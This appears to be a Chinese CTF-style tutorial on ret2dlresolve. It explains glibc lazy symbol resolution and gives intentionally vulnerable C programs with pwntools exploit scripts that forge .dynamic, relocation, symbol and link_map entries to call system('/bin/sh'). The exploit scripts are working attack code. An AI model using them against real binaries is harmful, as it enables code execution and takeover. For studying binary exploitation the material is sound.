是利用elf文件的延迟绑定技术_dl_runtime_resolve
,达到攻击目的的一种技术
程序在执行时,程序link_map
结构体的地址位于got表
的第二项,_dl_runtime_resolve
函数地址位于got表
的第三项
在使用_dl_runtime_resolve
导出函数时,会设置函数在got表
中对应的项为函数真实地址
如果程序开启了PIE
保护,那么会在加载程序的阶段,将got表
中对应函数的真实地址填入
_dl_runtime_resolve
在sysdeps/架构/dl-trampoline.h
文件中,是一段汇编代码,通过栈传入两个参数,第一个参数是当前程序的link_map结构体的地址
,第二个参数是函数在.rel.plt表中的索引值
,函数首先保存寄存器的值,然后调用_dl_fixup
函数,最后还原寄存器,并执行函数
_dl_fixup
在elf/dl-runtime.c
文件中,传入两个参数,参数与_dl_runtime_resolve
的参数相同,函数先通过link_map
获取程序中各种段的地址,经过各种检测后,通过_dl_lookup_symbol_x
从link_map.l_scope
中搜索符号,并返回符号地址,再经过各种检测后,如果未开启绑定,就直接返回符号地址,否则执行elf_machine_fixup_plt
函数,设置got表
中的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
|
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
|
_dl_lookup_symbol_x
在elf/dl-lookup.c
文件中,传入7个参数,分别是 符号名称
,link_map
,符号在dnysym中对应成员的地址
,link_map引用的符号表
(里面是保存了用于引用的link_map结构体
信息),版本
,符号类型
,符号版本信息
,跳过的link_map
(不查找这个文件中的符号) ,遍历scope
中的结构体,排除跳过的link_map
,使用 do_lookup_x
从剩余的link_map
中搜索符号,当搜索到符号时,返回结构体{符号地址,当前link_map}
do_lookup_x
在elf/dl-lookup.c
文件中,传入13个参数,主要流程为,循环遍历当前link_map
表示的文件及其引用的文件中的符号,通过遍历对比文件中的符号名称与传入_dl_lookup_symbol_x
的符号名称,来搜索符号,当搜索到符号时,返回 {符号地址,符号所属link_map}
修改dynamic
从 _dl_fixup
中的代码中可以看出,程序获取段地址,是通过dynamic段
中储存的结构体获取的
原本dynamic段
中DT_STRTAB
的ptr
字段储存的是 程序dnystr段
的地址,程序在进行绑定操作时,会通过dnystr段
获取符号名称
当我们将dynamic段
中的DT_STARTAB
的ptr
字段储存的数据修改为我们伪造的dnystr段
地址时,
程序在第一次调用库中的函数时,通过_dl_runtime_resolve
的绑定操作,从我们伪造的dnystr段
中获取符号名称,从库中导出对应的符号,并执行我们构造的函数
这种利用方法需要程序关闭了 ROLRO保护
,否则.dynamic
段不可写,也就无法达到攻击的效果了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include<stdio.h> #include<stdlib.h> char cache[0x30]={}; long long int state=0; int main(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,1,0); setvbuf(stderr,0,2,0); char c[0x40]={}; read(0,cache,0x50); c[read(0,c,0x10)-1]=0; long long int *a=atoi(c); c[read(0,c,0x10)-1]=0; *a=atoi(c); exit(state); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| """exp思路 设置 dynamic段 中 dynstr段 的地址为 bss段 中构造的 "\x00system\x00" 字符串的地址 并设置 state 为 bss段 中构造的 "/bin/sh" 字符串的地址 在执行 exit 函数时 经过 _dl_runtime_resolve 就会搜索 system 函数并执行 system("/bin/sh") """ from pwn import *
p=process('./pwn_resolve') payload=b'/bin/sh\x00'+"system\x00" payload=payload.ljust(0x30)+p64(0x4033c0) p.sendline(payload) pause() p.sendline(str(0x4031e0)) pause() p.sendline(str(0x4033c7)) p.interactive()
|
伪造reloc_offset
从_dl_fixup
中的代码可以看出,程序获取与函数对应的rel.plt表项
reloc
是通过reloc_offset
参数
获取对应的dnysym表项
sym
是通过reloc.r_info
,获取dnystr
对应的名称是通过sym
所以只要伪造了reloc_offset
参数,就可以伪造reloc
,进而伪造 sym
与 dnystr
中对应的名称
然后就会调用我们伪造的dnystr
中的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include<stdio.h> #include<stdlib.h> char cache[0x50]={}; long long int state=0; int main(){ setvbuf(stdout,0,2,0); setvbuf(stdin,0,1,0); setvbuf(stderr,0,2,0); char c[0x40]={}; read(0,cache,0x70); read(0,c,0x70); }
|
rel表项
需要构造 {对应got表
地址(8字节), sym表
中的索引值(4字节), 用来表示函数的7
(4字节), addend
用处未知一般为0
(4字节)}
sym表项
需要构造 {dnystr
中的索引值(4字节), 用来表示函数的12
(1字节), other
描述函数时为0
(1字节), shndx
描述函数时为0(2字节), value
在函数被导出前为0
(4字节), size
描述函数时为0
(4字节)}
dnystr表项
构造时只需要在字符串结尾使用\x00
截断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| """exp思路 构造 全局变量cache ,将 sym表项 与 rel表项 ,dynstr表项 都伪造好, 通过传入一个较大的 rel.plt表 索引值, 使其索引到我们伪造的表项,进而导出 system 函数,并执行 system 函数 需要计算rel的索引值和sym的索引值,还有system字符串在dynstr的索引值 """ from pwn import * rdi=0x00000000004012a3 p=process('./pwn_resolve') sym=p32(0x4040b9-0x4004a0)+p64(12)+p32(0)*3 rel=p64(0x404018)+p32(7)+p64((0x404088-0x4003e0)//0x18)+p32(0) payload=b"/bin/sh\x00"+sym+rel+"\x00system\x00" payload=payload.ljust(0x50)+p64(0x4033c0) p.send(payload) pause() p.send(b'a'*0x40+b'b'*8+p64(rdi)+p64(0x404080)+p64(0x401020)+p64((0x4040a0-0x4005a8)//0x18)) p.interactive()
|
伪造link_map
这种方法需要先获取描述当前程序的link_map
结构体的scope
成员中储存的数据
想要获取scope
成员中的数据,至少需要达到任意地址读取,这种情况下已经可以泄露libc的地址
而想要利用ret2resolve
则需要控制程序流程
这种情况下,已知libc
地址,且可以控制程序,直接执行system("/bin/sh");
就可以了
想要利用link_map
还需要 至少0x400
的空间,
这种情况下,想要伪造link_map
,达到ret2dlresolve
的目的,利用难度较高
如果作为栈溢出的利用
以下是我尝试伪造link_map
的代码,比较极端地允许输入任意长度的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include<stdio.h> #include<stdlib.h> char a[4096]={}; int main(){ char b[0x20]={}; printf("start\naddr: "); printf("%x\n",(int)a); gets(b); gets(a); puts("123123");
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * e=ELF('./a.out') p=process('./a.out') gdb.attach(p,'bp 0x401201') p.readuntil('addr: ') d=int(p.readline(),16) fake_dyn=d+0x300 fake_map=p64(0)+p64(d)+p64(fake_dyn)+p64(0)+p64(0)+p64(d)+p64(0)+p64(d) fake_info=p64(0)+p64(fake_dyn)+p64(0x403f00)+p64(fake_dyn+0x10)+p64(0)+p64(fake_dyn+0x20)+p64(fake_dyn+0x30)+p64(fake_dyn+0x40)+p64(0x403f40)+\ p64(0x403f50)+p64(0x403ec0)+p64(0x403ed0)+p64(0x403e30)+p64(0x403e40)+p64(0)*6+p64(0x403f10)+p64(0x403ee0)+p64(0)+p64(fake_dyn+0x50)+p64(0)+p64(0x403e50)+\ p64(0x403e70)+p64(0x403e60)+p64(0x403e80)+p64(0)*6+p64(0x403f70)+p64(0x403f60)+p64(0)*14+p64(0)*25+p64(0x403e90) seg=d+0x500 got=seg strtab=seg+0x100 symtab=seg+0x200 reltab=seg+0x300 jmprel=seg+0x400 fake_map=fake_map+fake_info fake_map=fake_map.ljust(0x300,b'\x00') print(hex(len(fake_map))) dyn_sym=p64(1)+p64(24)+p64(3)+p64(got)+p64(5)+p64(strtab)+p64(6)+p64(symtab)+p64(7)+p64(reltab)+p64(0x17)+p64(jmprel) dyn_sym=dyn_sym.ljust(0x98,b'\x00') fake_map=fake_map+dyn_sym nnn=input('>>>') fake_map=fake_map+p64(nnn)
fake_map=fake_map.ljust(0x500,b'\x00')
got_d=p64(0x405068) got_d=got_d.ljust(0x100,b'\x00')
strtab_d=b'\x00'+b"system\x00" strtab_d=strtab_d.ljust(0x100,b'\x00')
symtab_d=p64(0)*3+p32(1)+p64(0x12)+p64(0)+p32(0) symtab_d=symtab_d.ljust(0x100,b'\x00')
reltab_d=p64(0) reltab_d=reltab_d.ljust(0x100,b'\x00')
jmprel_d=p64(got)+p32(7)+p64(1)+p32(1) jmprel_d=jmprel_d.ljust(0x100,b'\x00')
fake_map=fake_map + got_d + strtab_d + symtab_d + reltab_d + jmprel_d bin_sh=len(fake_map)+0x40 fake_map=fake_map.ljust(bin_sh,b'\x00') fake_map=fake_map+b'/bin/sh\x00'
p.sendline(b'a'*0x20+b'b'*8+p64(0x000000000040101a)+p64(0x0000000000401273)+p64(d+bin_sh)+p64(0x401026)+p64(d)+p64(0)) p.sendline(fake_map) p.interactive()
|